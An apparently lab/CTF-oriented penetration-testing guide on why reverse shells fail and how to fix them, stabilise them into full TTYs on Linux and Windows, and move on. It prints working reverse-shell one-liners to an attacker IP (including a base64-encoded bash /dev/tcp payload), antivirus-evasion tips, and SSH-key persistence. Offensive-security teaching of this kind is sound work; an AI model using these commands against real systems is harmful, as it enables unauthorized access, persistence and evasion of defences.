Reverse shell not connecting or dying: how to fix it

Why a reverse shell never arrives, drops instantly or dies on Ctrl+C, how to troubleshoot it step by step, and how to turn it into a full terminal on Linux and Windows.

· 3 min read

You have command execution and fire a reverse shell... and nothing happens. Or it connects and closes straight away. Or it works, you hit Ctrl+C out of habit and lose it. This guide is not another list of one-liners (that is what the reverse shell generator and the TTY cheat sheet are for): it is the method to find out why it fails and fix it.

1. Check that you really have execution

Before blaming the shell, prove the command runs with something that has to reach you:

sudo tcpdump -ni tun0 icmp           # on your machine
ping -c 2 10.10.14.5                 # what you inject on the target

If the pings never arrive, the problem is before the shell: the injection does not work, the command runs somewhere else or the box has no ping. Try curl http://10.10.14.5/x or wget and watch the log of python3 -m http.server 80.

2. The connection never arrives

Cause How to tell Fix
Wrong IP ip a show tun0; you need the VPN IP, not your LAN one Use the tun0 address
Egress firewall The ping arrives but TCP to 4444 does not Listen on 80, 443 or 53: they are usually allowed
No bash or nc -e which bash nc python3 perl (if you can see output) Pick another variant from the generator
/dev/tcp does not work The command runs under sh (dash), not bash Wrap it: bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
Characters break the injection Spaces, &, > or quotes inside a URL or JSON Base64-encode it (see below)

The base64 trick sidesteps almost every character problem:

echo -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64 -w0
# on the target:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash

Tip

If the base64 contains + and you send it in a URL, it turns into a space. Pad the original command with spaces until it goes away, or encode the + as %2b.

3. It connects and closes at once

  • The parent process dies: the web server kills the request when it finishes or times out, and your shell with it. Detach it with nohup, setsid or a trailing &: setsid bash -c '...' &.
  • Windows and the antivirus: the connection arrives and Defender kills the process. Use a less known payload, or a shell over SMB/WinRM as soon as you have credentials (see EDR evasion).
  • Staged vs stageless: a windows/x64/shell/reverse_tcp (staged, with /) needs the Metasploit handler; with nc use shell_reverse_tcp (stageless, with _).

4. Making it stable: a full TTY on Linux

A freshly caught shell has no terminal: Ctrl+C kills it, there are no arrow keys or tab completion, and sudo or su complain. The usual three steps:

script /dev/null -c bash      # or: python3 -c 'import pty; pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
# press Enter, then:
export TERM=xterm-256color; stty rows 45 columns 180

The stty numbers are those of your own terminal (stty size in another tab). If your machine runs zsh, stty raw -echo; fg must be on the same line.

If SSH is open, it is even simpler: add your public key to the user's ~/.ssh/authorized_keys and connect over SSH. Stable, with a TTY, and it survives service restarts.

5. Windows

Windows has no stty. Three options, from least to most comfortable:

  1. rlwrap nc -lvnp 443: adds history and arrow keys on your side.
  2. ConPtyShell (Invoke-ConPtyShell): a real TTY on Windows 10/Server 2019 or later; catch it with stty raw -echo; (stty size; cat) | nc -lvnp 443.
  3. With credentials or a hash, drop the reverse shell and log in with evil-winrm or the Impacket tools (see lateral movement).

6. Getting files onto the target

With a stable shell, the next step is uploading tools (linpeas, winPEAS, chisel). The file transfer cheat sheet has every variant; if the target cannot reach your IP directly, set up a tunnel as in port forwarding and pivoting.

Spotted a mistake or something missing? Tell us